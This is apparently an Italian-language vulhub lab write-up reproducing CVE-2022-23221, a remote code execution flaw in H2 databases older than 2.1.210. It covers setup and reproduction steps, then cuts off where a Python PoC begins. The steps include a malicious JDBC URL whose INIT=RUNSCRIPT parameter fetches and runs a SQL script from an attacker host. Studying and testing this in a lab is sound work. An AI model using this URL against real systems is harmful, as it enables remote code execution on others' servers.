
H2-database-CVE-2022-23221 — Updated!
vulhub/H2-database/CVE-2022-23221
H2 Database RCE (CVE-2022-23221)
1. Riepilogo
-
Riferimento: https://nvd.nist.gov/vuln/detail/cve-2022-23221
-
H2 è un sistema di gestione di database relazionali che fornisce la funzionalità di compilare ed eseguire direttamente codice Java all'interno del motore SQL.
-
Il driver H2 analizza l'URL JDBC per stabilire la connessione tra l'applicazione e il database. Tramite i parametri di configurazione inclusi nell'URL, è possibile controllare lo stato iniziale o il comportamento del database.
-
Nelle versioni di H2 precedenti alla 2.1.210, esiste il problema che è possibile eseguire script SQL remoti tramite il parametro INIT dell'URL JDBC. Un attaccante può sfruttarlo per iniettare da remoto uno script SQL manipolato ed eseguire comandi di sistema tramite la sua sintassi, provocando la vulnerabilità CVE-2022-23221.
-
Le caratteristiche di questa vulnerabilità sono le seguenti.
- Nessuna autenticazione richiesta: chiunque abbia solo il permesso di inserire un URL JDBC può sfruttare questa vulnerabilità per ottenere il controllo del sistema.
- Esecuzione automatica all'avvio del servizio: se un attaccante modifica solo il file di configurazione, si verifica automaticamente una RCE (Remote Code Execution) all'avvio del servizio che utilizza H2.
- Furtività: è difficile per gli sviluppatori accorgersi dell'attacco.
- Ampio raggio di impatto: grazie alla velocità e alla leggerezza di H2, esso è utilizzato per lo sviluppo e il test di vari servizi web. L'impatto è elevato perché qualsiasi ambiente in cui l'URL JDBC può essere impostato tramite file di configurazione o input utente può essere bersaglio di attacchi che sfruttano questa vulnerabilità.
-
Ambito di impatto della vulnerabilità
- Versioni interessate: precedenti alla H2 2.1.210
- Versione corretta: H2 2.1.210 e successive
2. Condizioni della vulnerabilità
- Deve essere una versione di H2 precedente alla 2.1.210.
- L'URL JDCB deve contenere
IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker-ip/acttacker-file.sql’.IGNORE_UNKNOWN_SETTINGS=TRUE,FORBID_CREATION=FALSE-> Bypass delle impostazioni di sicurezza- Se questi parametri sono presenti, le impostazioni di sicurezza vengono disabilitate, quindi il comando di esecuzione dello script remoto non viene bloccato durante l'inizializzazione e viene eseguito così com'è.
INIT=RUNSCRIPT FROM 'http:/attacker-ip/acttacker-file.sql'-> Comando SQL eseguito automaticamente alla connessione tra applicazione e DB- Se il valore del parametro INIT contiene il comando SQL RUNSCRIPT e l'indirizzo dello script dannoso, H2 si connette a quel server, scarica il file e lo esegue quando viene stabilita la connessione tra l'applicazione e il DB H2.
- Lo script SQL scaricato deve contenere la sintassi SQL
CREATE ALIAS.- La sintassi
CREATE ALIASall'interno dello script eseguito da remoto fa sì che H2 esegua le funzioni Java dello script all'interno del DB, con conseguente RCE.
- La sintassi
3. Configurazione dell'ambiente
-
Scenario
- Configurare un ambiente H2 vulnerabile e inserire l'URL JDBC dannoso in H2. H2 analizza questo URL senza una corretta validazione, riceve il file sql dal server attacker e lo esegue. Se nel log del server h2-vulnerable vengono visualizzati i risultati dei comandi
id,whoami,pwdinsieme alla stringa "EXPLOITED", ciò significa che l'ambiente H2 vulnerabile è stato configurato e che, durante l'analisi dell'URL JDBC dannoso, il file exploit.sql è stato scaricato ed eseguito da remoto dal server attacker esterno.
- Configurare un ambiente H2 vulnerabile e inserire l'URL JDBC dannoso in H2. H2 analizza questo URL senza una corretta validazione, riceve il file sql dal server attacker e lo esegue. Se nel log del server h2-vulnerable vengono visualizzati i risultati dei comandi
-
Configurazione dell'ambiente
docker compose up -d
- Eseguendo il comando, vengono avviati i seguenti ambienti.
- h2-vulnerable: H2 2.0.206 (versione vulnerabile precedente alla patch)
- Console web H2:
http://your-ip:8082 - Server TCP:
tcp://your-ip:9092
- Console web H2:
- attacker: Server HTTP
http://your-ip:8000: fornisce il fileexploit.sql
-
Dopo la configurazione dell'ambiente, accedendo a http://your-ip:8082 viene visualizzata la pagina web H2.
4. Procedura di riproduzione
: Poiché nella console web vengono applicate policy di sicurezza che possono filtrare i parametri che costituiscono la condizione di vulnerabilità, si riproduce la vulnerabilità inserendo direttamente tramite CLI l'URL JDBC contenente i parametri dannosi e se ne verifica il risultato.
[Caso di richiesta normale]
-
URL JDBC normale: "jdbc:h2:mem:test"
-
Comando di richiesta normale
docker exec h2-vulnerable java -cp /h2-bin/h2.jar org.h2.tools.Shell \ -url "jdbc:h2:mem:test" \ -user sa \ -password "" -
Risultato dell'esecuzione

- Nessuna richiesta in arrivo sul server attacker
- Nessun log particolare emesso dal server h2-vulnerable
[Caso di attacco alla vulnerabilità]
- URL JDBC dannoso: "jdbc:h2:tcp://h2-vulnerable:9092/mem:test;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql'"
1. Esecuzione dell'attacco
-
Inserire l'URL JDBC dannoso nel driver H2 per tentare la connessione al server attacker. Ci sono 2 modi per inserire l'URL.
- Inserire direttamente l'URL JDBC dannoso nella shell H2 tramite CLI.
docker exec h2-vulnerable java -cp /h2-bin/h2.jar org.h2.tools.Shell \ -url "jdbc:h2:tcp://h2-vulnerable:9092/mem:test;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql'" \ -user sa \ -password ""
- Eseguire il file PoC.
python3 poc.py
2. Richiesta ed esecuzione del file
-
H2 richiede (HTTP GET) il file exploit.sql al server attacker come indicato da
INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql'nel parametro INIT dell'URL JDBC e lo esegue all'interno del database H2.- Eseguendo
docker logs attackerè possibile verificare i log delle richieste del file exploit.sql in arrivo dal server h2-vulnerable.
docker logs attacker
- Il server attacker restituisce il file exploit.sql richiesto e il server h2-vulnerable esegue il file exploit.sql ricevuto. In questo momento, la sintassi CREATE ALIAS all'interno dello script induce l'esecuzione del codice Java, causando la RCE.
- Eseguendo
5. Codice di poc.py
#!/usr/bin/env python3
# 목적: CVE-2022-23221 H2 Database RCE 상황을 재현하고자 함.
# 과정: 검증 우회 파라미터와 Java 명령어가 포함된 JDBC URL을 H2로 전송하여 원격 코드 실행 공격을 수행함.
import subprocess
import time
import sys